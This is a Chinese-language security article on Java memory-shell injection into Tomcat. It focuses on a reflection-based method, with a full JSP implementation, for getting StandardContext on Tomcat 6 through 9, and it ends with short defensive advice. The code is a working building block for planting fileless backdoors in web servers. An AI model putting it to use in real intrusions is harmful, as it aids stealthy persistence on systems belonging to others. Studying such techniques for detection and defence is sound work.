Java内存马:一种Tomcat全版本获取StandardContext的新方法
字数 1387 2025-08-05 00:15:08
Java内存马:Tomcat全版本获取StandardContext的新方法
1. 前言
Java内存马注入的全流程通常包括三个步骤:
- 获取上下文对象:获取当前请求的HttpRequest对象或Tomcat的StandardContext对象
- 创建恶意对象:创建servlet、filter或controller等恶意对象
- 动态注入:使用上下文对象的方法向中间件或框架动态添加恶意对象
其中,获取上下文对象(StandardContext)是基础,它拥有处理请求、保存和控制servlet/filter对象等功能。
2. 现有获取StandardContext方法总结
2.1 已有request对象的情况
当可以直接访问request对象时(如JSP文件中):
javax.servlet.ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext)stdctx.get(applicationContext);
2.2 没有request对象的情况
2.2.1 从ContextClassLoader获取
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
限制:仅适用于Tomcat 8/9
2.2.2 从ThreadLocal获取request
通过ThreadLocal获取request后再获取StandardContext。
兼容性:Tomcat 7/8/9,但不支持Tomcat 6
2.2.3 从MBean中获取
通过JMX MBeanServer逐步查找StandardContext。
限制:需要猜测项目名和host才能获取对应的StandardContext
2.2.4 从Spring获取Context
获取的是Spring运行时上下文,适用于SpringMVC和SpringBoot框架下的controller和interceptor注入。
3. Tomcat全版本获取StandardContext的新方法
3.1 从线程组获取请求对象
通过遍历线程组获取请求对象的基本流程:
currentThread -> threadGroup -> for(threads) -> target -> this$0 -> handler -> global -> for(processors) -> req
但获取到的org.apache.coyote.Request没有servletContext属性,无法直接使用。
3.2 通过StandardEngine线程获取
在Tomcat架构中:
- 一个Engine可配置多个Host(虚拟主机)
- 每个Host可配置多个webapp(StandardContext)
通过线程组中找到StandardEngine线程,然后逐步获取:
- 获取StandardEngine线程
- 获取其children(HashMap)得到StandardHost
- 从StandardHost的children获取StandardContext
关键代码:
Thread[] threads = (Thread[])getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread.getName().contains("StandardEngine")) {
HashMap children = (HashMap)getField(getField(getField(thread, "target"), "this$0"), "children");
StandardHost standardHost = (StandardHost)children.get(serverName);
children = (HashMap)getField(standardHost, "children");
// 遍历获取StandardContext
}
}
兼容性:Tomcat 6/7/8,但不支持Tomcat 9
3.3 通过Acceptor线程获取(全版本兼容)
Tomcat各版本都会创建"Http-xio-端口-Acceptor"线程来处理请求,流程如下:
Tomcat 6/7/8流程
currentThread -> threadGroup -> for(threads) -> target -> this$0 -> handler -> proto -> adapter -> connector -> service -> container -> children(StandardHost) -> children(StandardContext)
Tomcat 9流程
target -> endpoint -> handler -> proto -> adapter -> connector -> service -> engine
完整JSP实现代码:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.StandardEngine" %>
<%@ page import="org.apache.catalina.core.StandardHost" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.util.Iterator" %>
<%
class Tomcat6789 {
String uri;
String serverName;
StandardContext standardContext;
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException e){}
catch (IllegalAccessException e){}
clazz = clazz.getSuperclass();
}
return null;
}
public Tomcat6789() {
Thread[] threads = (Thread[])this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {
if (thread == null) continue;
if (thread.getName().contains("exec")) continue;
Object target = this.getField(thread, "target");
if (!(target instanceof Runnable)) continue;
try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) { continue; }
if (object == null) continue;
java.util.ArrayList processors = (java.util.ArrayList)getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)) continue;
org.apache.tomcat.util.buf.MessageBytes serverNameMB =
(org.apache.tomcat.util.buf.MessageBytes)getField(req, "serverNameMB");
this.serverName = (String)getField(serverNameMB, "strValue");
if (this.serverName == null) this.serverName = serverNameMB.toString();
if (this.serverName == null) this.serverName = serverNameMB.getString();
org.apache.tomcat.util.buf.MessageBytes uriMB =
(org.apache.tomcat.util.buf.MessageBytes)getField(req, "uriMB");
this.uri = (String)getField(uriMB, "strValue");
if (this.uri == null) this.uri = uriMB.toString();
if (this.uri == null) this.uri = uriMB.getString();
this.getStandardContext();
return;
}
}
}
public void getStandardContext() {
Thread[] threads = (Thread[])this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) continue;
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
HashMap children;
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
} catch (Exception e){}
if (jioEndPoint == null){
try {
jioEndPoint = getField(target, "endpoint");
} catch (Exception e){ return; }
}
Object service = getField(getField(getField(getField(getField(
jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
StandardEngine engine = null;
try {
engine = (StandardEngine)getField(service, "container");
} catch (Exception e){}
if (engine == null){
engine = (StandardEngine)getField(service, "engine");
}
children = (HashMap)getField(engine, "children");
StandardHost standardHost = (StandardHost)children.get(this.serverName);
children = (HashMap)getField(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()){
String contextKey = (String)iterator.next();
if (!(this.uri.startsWith(contextKey))) continue;
StandardContext standardContext = (StandardContext)children.get(contextKey);
this.standardContext = standardContext;
return;
}
}
}
}
public StandardContext getSTC(){
return this.standardContext;
}
}
%>
<%
Tomcat6789 a = new Tomcat6789();
out.println(a.getSTC());
%>
4. 方法优势
- 全版本兼容:支持Tomcat 6/7/8/9
- 无需猜测:通过当前请求自动获取正确的StandardContext
- 稳定性高:基于Tomcat内部架构实现,不受版本小更新影响
5. 防御建议
- 禁用JSP上传功能
- 监控和限制反射操作
- 定期更新Tomcat版本
- 使用安全防护产品检测内存马行为
6. 参考链接
- zema1的ysoserial实现
- 相关内存马检测和防御技术文章